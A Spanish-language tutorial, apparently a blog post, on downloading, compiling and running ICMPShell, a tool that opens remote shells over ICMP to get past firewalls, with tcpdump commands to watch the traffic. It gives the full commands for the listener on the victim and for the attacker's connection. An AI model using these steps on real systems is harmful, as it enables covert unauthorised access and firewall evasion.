ICMPShell - Conexiones Inversas mediante ICMP
Una herramienta que permite realizar conexiones inversas a sistemas remotos utilizando el protocolo ICMP
ICMPShell es una herramienta que permite realizar conexiones inversas a sistemas remotos utilizando el protocolo ICMP (Internet Control Message Protocol). Este método puede ser útil en situaciones donde el tráfico TCP o UDP esté restringido, ya que algunas configuraciones de firewall no bloquean ni supervisan el tráfico ICMP de la misma forma.
A continuación, se explican los pasos para su instalación y uso.
Es necesario que se descargue desde su repositorio en SourceForge:
1
wget http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
Nota: La herramienta es compatible únicamente con sistemas Linux, BSD y Solaris.
Primero que nada es necesario desempaquetar el archivo tar que nos queda.
1
2
tar xzf ish-v0.2.tar.gz
make <sistema> # [linux,bsd,solaris] Dependiendo de dónde se va a ejecutar.
Para que la pequeña shell funcione, es necesario que se copie y compile en ambos sistemas (cliente y servidor). Del lado del cliente:
1
./ishd -d -p <puerto>
En el lado del atacante:
1
./ish -tr 0 -p <puerto> <ip_victima>
Para una prueba de concepto podemos hacer uso de tcpdump. Con esta herramienta capturaremos las peticiones de tipo icmp_echo_reply (que es como funciona esta shell).
1
tcpdump -nni <interface> -e icmp[icmptype] == 0 #Hacemos captura de paquetes de tipo ICMP_ECHO_REPLY.
NOTA: Si realizamos la prueba de concepto en una misma máquina, es posible hacer captura de los paquetes con loopback (interface lo).
Con wireshark es posible hacer lo propio. Algo de info desde Wikiversity.